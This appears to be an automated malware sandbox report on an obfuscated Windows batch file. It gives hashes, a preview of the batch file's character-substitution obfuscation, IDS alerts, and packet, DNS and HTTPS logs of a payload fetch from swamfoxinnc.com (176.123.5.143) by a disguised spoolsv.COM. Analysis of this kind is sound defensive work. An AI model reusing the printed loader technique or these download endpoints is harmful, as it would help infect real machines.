                                                SSDEEP:6144:XIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uN2dwBCswSbn:YXD94+WlLZMM6YFHg+n
                                                MD5:D2A31F7F897A56A913C4736FD99C60F8
                                                SHA1:7FF8CF88CA7059A1861EA26727E79E62E0A4A1B9
                                                SHA-256:F7B0AE2A354A2E394D6B39F6645D6E1469FA36B1618312581A543D3D7735B039
                                                SHA-512:C8940994B3D608D0AF93BCFC3B2AD46617BBDE86C982C49638AD99CD804A81A11201ED2FE8FAD5BC8F085BDA005AF49CB1FEAD9CFC92323EACD8075A3D60A447
                                                Malicious:false
                                                Preview:regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.....R...............................................................................................................................................................................................................................................................................................................................................c..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                \Device\Null

                                                Download File
                                                Process:C:\Users\Public\alpha.exe
                                                File Type:ASCII text, with CRLF line terminators
                                                Category:dropped
                                                Size (bytes):104
                                                Entropy (8bit):4.403504238247217
                                                Encrypted:false
                                                SSDEEP:3:HnRthLK5aTRECUAdROGCOwXWnjTRrGIAOFZRMQcv:HRoAREYTOGjHVF+
                                                MD5:E14D0D771A7FEB9D78EA3DCA9197BA2A
                                                SHA1:48E363AAD601D9073D803AA9D224BF9A7FC39119
                                                SHA-256:0C13A861207709C246F13ACE164529F31F2F91CF14BD37795192D5B37E965BE6
                                                SHA-512:3460F93FEA31D68E49B1B82EDCB8A2A9FCCE34910DD04DEE7BD7503DB8DAB6D1D5C73CBD2C15156DCB601512AD68DE6FEF7DCB8F8A72A8A0747248B378C17CF9
                                                Malicious:false
                                                Preview:The system cannot find message text for message number 0x400023a1 in the message file for Application...

                                                Static File Info

                                                General

                                                File type:ISO-8859 text, with very long lines (965), with CRLF line terminators
                                                Entropy (8bit):5.141633843614557
                                                TrID:
                                                  File name:Svcrhpjadgyclc.cmd
                                                  File size:2'966'423 bytes
                                                  MD5:7afcba92a35ba26fcde12f3aba8ff7d8
                                                  SHA1:8fe8577fc2ef8866c83ab163a8655ea777e6d4f4
                                                  SHA256:29bda570966cf934b38ff7b1613f9330709307405391ced5452bd9cc63736331
                                                  SHA512:a0fdbdb93054ea71efea0dc9ecee2d68644d89e0725a3c34e0d492fd6b2b3d9f3307fbfa5386cdec1e7f452754331bf73242e9316d3d667353cc7c62bad58027
                                                  SSDEEP:24576:kH1yveXvtJNwYay5+kiD7Dm5c0B58llll8lUWtWJxM9bh+NfbTXr063u95fX7:kVyGftJ+YawbiS5BBUvzM9bh+NfnXm
                                                  TLSH:99D593A32DED06C62B496B7B974FF9589A3BDC3C86C25DC812C725BD100A74B2CD0D5A
                                                  File Content Preview:COMCOM..&@cls&@set "_....=viulzHg htI5f9UEDny7kBLWJSZAC1xTKNR6GmOeQr82qca4jX0@3wPYdsbopVFM"..%_....:~51,1%%_....:~57,1%%_....:~39,1%%_....:~9,1%%_....:~7,1%"_..=%_....:~37,1%%_....:~59,1%%_....:~10,1%%_....:~62,1%%_....:~33,1%%_....:~40,1%%_....:~55,1%%_.

                                                  File Icon

                                                  Icon Hash:9686878b929a9886

                                                  Network Behavior

                                                  Suricata IDS Alerts

                                                  TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                  2024-12-19T12:39:18.449649+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449731176.123.5.143443TCP
                                                  2024-12-19T12:39:21.905790+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449733176.123.5.143443TCP
                                                  2024-12-19T12:39:25.382439+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449735176.123.5.143443TCP
                                                  2024-12-19T12:39:28.797509+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449737176.123.5.143443TCP
                                                  2024-12-19T12:39:32.381151+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449740176.123.5.143443TCP
                                                  2024-12-19T12:40:04.918673+01002028371ET JA3 Hash - Possible Malware - Fake Firefox Font Update3192.168.2.449745176.123.5.143443TCP

                                                  Network Port Distribution

                                                  TCP Packets

                                                  TimestampSource PortDest PortSource IPDest IP
                                                  Dec 19, 2024 12:39:16.864058971 CET49730443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:16.864094973 CET44349730176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:16.864165068 CET49730443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:16.864288092 CET49730443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:16.864340067 CET44349730176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:16.864784002 CET49730443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:16.957802057 CET49731443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:16.957834959 CET44349731176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:16.957916975 CET49731443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:16.986143112 CET49731443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:16.986156940 CET44349731176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:18.449548006 CET44349731176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:18.449649096 CET49731443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:18.453521967 CET49731443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:18.453531981 CET44349731176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:18.453809023 CET44349731176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:18.503819942 CET49731443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:18.547089100 CET49731443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:18.591324091 CET44349731176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:19.935323000 CET44349731176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:19.935352087 CET44349731176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:19.935359955 CET44349731176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:19.935369015 CET44349731176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:19.935404062 CET44349731176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:19.935519934 CET49731443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:19.935519934 CET49731443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:19.935539961 CET44349731176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:19.935590982 CET49731443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:20.046288967 CET44349731176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:20.046314955 CET44349731176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:20.046406984 CET49731443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:20.046425104 CET44349731176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:20.046468019 CET49731443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:20.130501986 CET44349731176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:20.130532980 CET44349731176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:20.130781889 CET49731443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:20.130801916 CET44349731176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:20.130882978 CET49731443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:20.200663090 CET44349731176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:20.200756073 CET44349731176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:20.200850010 CET49731443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:20.200880051 CET49731443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:20.202044964 CET49731443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:20.202064037 CET44349731176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:20.412153006 CET49732443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:20.412267923 CET44349732176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:20.412400007 CET49732443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:20.413961887 CET49732443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:20.414076090 CET44349732176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:20.414149046 CET49732443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:20.448533058 CET49733443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:20.448582888 CET44349733176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:20.448646069 CET49733443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:20.449101925 CET49733443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:20.449116945 CET44349733176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:21.905651093 CET44349733176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:21.905790091 CET49733443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:21.908140898 CET49733443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:21.908155918 CET44349733176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:21.908472061 CET44349733176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:21.909852982 CET49733443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:21.951340914 CET44349733176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:23.387310028 CET44349733176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:23.387345076 CET44349733176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:23.387362003 CET44349733176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:23.387463093 CET49733443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:23.387505054 CET44349733176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:23.387553930 CET49733443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:23.497883081 CET44349733176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:23.497906923 CET44349733176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:23.497962952 CET49733443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:23.497997046 CET44349733176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:23.498037100 CET49733443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:23.583198071 CET44349733176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:23.583221912 CET44349733176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:23.583345890 CET49733443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:23.583388090 CET44349733176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:23.583436012 CET49733443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:23.670149088 CET44349733176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:23.670248032 CET44349733176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:23.670319080 CET49733443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:23.670368910 CET49733443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:23.670650005 CET49733443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:23.670675039 CET44349733176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:23.670691013 CET49733443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:23.670696020 CET44349733176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:23.873581886 CET49734443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:23.873708010 CET44349734176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:23.873877048 CET49734443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:23.874089003 CET49734443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:23.874140024 CET44349734176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:23.874205112 CET49734443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:23.923379898 CET49735443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:23.923434019 CET44349735176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:23.923513889 CET49735443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:23.923863888 CET49735443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:23.923878908 CET44349735176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:25.382337093 CET44349735176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:25.382438898 CET49735443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:25.383908033 CET49735443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:25.383918047 CET44349735176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:25.384146929 CET44349735176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:25.385495901 CET49735443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:25.427320957 CET44349735176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:26.785079956 CET44349735176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:26.785109043 CET44349735176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:26.785124063 CET44349735176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:26.785244942 CET49735443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:26.785279036 CET44349735176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:26.785331011 CET49735443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:26.895994902 CET44349735176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:26.896015882 CET44349735176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:26.896078110 CET49735443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:26.896102905 CET44349735176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:26.896127939 CET49735443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:26.896142960 CET49735443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:26.980715036 CET44349735176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:26.980736971 CET44349735176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:26.980822086 CET49735443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:26.980859041 CET44349735176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:26.980906010 CET49735443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:27.053328991 CET44349735176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:27.053407907 CET49735443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:27.053422928 CET44349735176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:27.053464890 CET49735443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:27.053639889 CET49735443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:27.053661108 CET44349735176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:27.053672075 CET49735443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:27.053677082 CET44349735176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:27.279345036 CET49736443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:27.279401064 CET44349736176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:27.279622078 CET49736443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:27.279871941 CET49736443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:27.279942989 CET44349736176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:27.280028105 CET49736443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:27.337234974 CET49737443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:27.337304115 CET44349737176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:27.337387085 CET49737443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:27.337734938 CET49737443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:27.337759018 CET44349737176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:28.797437906 CET44349737176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:28.797508955 CET49737443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:28.798984051 CET49737443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:28.798993111 CET44349737176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:28.799422026 CET44349737176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:28.800775051 CET49737443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:28.847326994 CET44349737176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:30.369291067 CET44349737176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:30.369318008 CET44349737176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:30.369337082 CET44349737176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:30.369374037 CET49737443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:30.369385004 CET44349737176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:30.369412899 CET49737443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:30.369441032 CET49737443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:30.530514002 CET44349737176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:30.530544043 CET44349737176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:30.530592918 CET49737443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:30.530610085 CET44349737176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:30.530633926 CET49737443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:30.530663967 CET49737443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:30.622855902 CET44349737176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:30.622879982 CET44349737176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:30.622946024 CET49737443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:30.622956991 CET44349737176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:30.623009920 CET49737443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:30.623029947 CET49737443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:30.653929949 CET44349737176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:30.654022932 CET44349737176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:30.654026985 CET49737443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:30.654071093 CET49737443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:30.654263020 CET49737443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:30.654284954 CET44349737176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:30.654300928 CET49737443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:30.654309034 CET44349737176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:30.854582071 CET49739443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:30.854634047 CET44349739176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:30.854871035 CET49739443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:30.854979038 CET49739443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:30.855084896 CET44349739176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:30.857099056 CET49739443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:30.920928955 CET49740443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:30.920967102 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:30.921107054 CET49740443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:30.921458006 CET49740443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:30.921472073 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:32.381062984 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:32.381150961 CET49740443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:32.389267921 CET49740443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:32.389280081 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:32.389528036 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:32.391117096 CET49740443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:32.435332060 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:33.867425919 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:33.867460012 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:33.867480993 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:33.867522001 CET49740443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:33.867535114 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:33.867563009 CET49740443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:33.867587090 CET49740443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:33.980462074 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:33.980530024 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:33.980591059 CET49740443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:33.980612993 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:33.980633020 CET49740443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:33.980659008 CET49740443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:34.063541889 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:34.063592911 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:34.063663960 CET49740443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:34.063678026 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:34.063724041 CET49740443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:34.063744068 CET49740443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:34.133402109 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:34.133502007 CET49740443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:34.133511066 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:34.133599997 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:34.133722067 CET49740443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:34.133738041 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:34.133752108 CET49740443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:34.133758068 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:34.133781910 CET49740443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:34.133785963 CET44349740176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:34.335918903 CET49744443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:34.335959911 CET44349744176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:34.336119890 CET49744443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:34.336119890 CET49744443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:34.336272955 CET44349744176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:34.339333057 CET49744443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:34.436857939 CET49745443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:34.436901093 CET44349745176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:39:34.436973095 CET49745443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:34.437308073 CET49745443192.168.2.4176.123.5.143
                                                  Dec 19, 2024 12:39:34.437325001 CET44349745176.123.5.143192.168.2.4
                                                  Dec 19, 2024 12:40:04.918673038 CET49745443192.168.2.4176.123.5.143

                                                  UDP Packets

                                                  TimestampSource PortDest PortSource IPDest IP
                                                  Dec 19, 2024 12:39:16.636063099 CET6404553192.168.2.41.1.1.1
                                                  Dec 19, 2024 12:39:16.850737095 CET53640451.1.1.1192.168.2.4

                                                  DNS Queries

                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                  Dec 19, 2024 12:39:16.636063099 CET192.168.2.41.1.1.10x559Standard query (0)swamfoxinnc.comA (IP address)IN (0x0001)false

                                                  DNS Answers

                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                  Dec 19, 2024 12:39:16.850737095 CET1.1.1.1192.168.2.40x559No error (0)swamfoxinnc.com176.123.5.143A (IP address)IN (0x0001)false

                                                  HTTP Request Dependency Graph

                                                  • swamfoxinnc.com

                                                  HTTPS Proxied Packets

                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                  0192.168.2.449731176.123.5.1434437828C:\Users\Public\Libraries\spoolsv.COM
                                                  TimestampBytes transferredDirectionData
                                                  2024-12-19 11:39:18 UTC164OUTGET /233_Svcrhpjadgy HTTP/1.1
                                                  Connection: Keep-Alive
                                                  Accept: */*
                                                  User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
                                                  Host: swamfoxinnc.com
                                                  2024-12-19 11:39:19 UTC191INHTTP/1.1 404 Not Found
                                                  Server: nginx
                                                  Date: Thu, 19 Dec 2024 11:39:19 GMT
                                                  Content-Type: text/html
                                                  Content-Length: 58296
                                                  Connection: close
                                                  Vary: Accept-Encoding
                                                  ETag: "674db0b4-e3b8"
                                                  2024-12-19 11:39:19 UTC16193INData Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 09 3c 68 65 61 64 3e 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 2f 3e 0a 09 09 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 09 09 3c 73 74 79 6c 65 3e 0a 09 09 09 2a 20 7b 0a 09 09 09 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 09 09 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 09 09 09 62 6f 78 2d 73 69 7a 69 6e 67 3a 20 62 6f 72 64 65 72 2d 62 6f 78 3b 0a 09 09 09 7d 0a 09 09 09 68 74 6d 6c 20 7b 0a
                                                  Data Ascii: <!doctype html><html><head><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0" /><title>404 Not Found</title><style>* {margin: 0;padding: 0;box-sizing: border-box;}html {
                                                  2024-12-19 11:39:20 UTC16384INData Raw: 35 37 43 6f 32 47 4c 4c 79 45 79 4f 48 61 34 6a 30 44 65 41 6f 6f 58 73 51 6c 45 4c 2f 45 52 39 79 78 6b 72 4d 43 70 30 41 7a 68 53 48 42 52 62 67 4b 50 49 47 79 48 62 51 4f 6e 6d 56 53 62 73 56 49 77 71 44 6d 35 7a 57 43 54 52 58 64 6a 52 63 63 2f 48 4d 37 43 66 64 54 34 45 54 72 34 51 52 4e 53 77 30 66 4b 4f 4d 61 4e 61 7a 2f 68 47 7a 51 73 6a 6e 57 6b 6a 6a 2f 6f 67 72 44 55 59 39 55 36 6c 77 79 77 2b 48 46 6c 75 38 65 48 49 73 4b 38 4f 54 58 31 33 33 61 58 54 38 39 51 63 33 78 6d 46 62 45 35 59 4a 4b 6e 52 31 55 2b 6d 65 73 4e 69 4c 53 77 48 6b 53 48 62 31 4f 65 6e 37 51 75 30 43 57 6d 5a 69 77 73 35 37 31 59 59 59 2b 73 6e 74 5a 72 63 59 2b 76 46 2b 65 46 57 53 58 4c 63 36 66 42 38 4f 49 30 4b 2f 57 4a 30 30 2f 47 66 61 41 54 68 73 65 64 43 38 6f 54
                                                  Data Ascii: 57Co2GLLyEyOHa4j0DeAooXsQlEL/ER9yxkrMCp0AzhSHBRbgKPIGyHbQOnmVSbsVIwqDm5zWCTRXdjRcc/HM7CfdT4ETr4QRNSw0fKOMaNaz/hGzQsjnWkjj/ogrDUY9U6lwyw+HFlu8eHIsK8OTX133aXT89Qc3xmFbE5YJKnR1U+mesNiLSwHkSHb1Oen7Qu0CWmZiws571YYY+sntZrcY+vF+eFWSXLc6fB8OI0K/WJ00/GfaAThsedC8oT
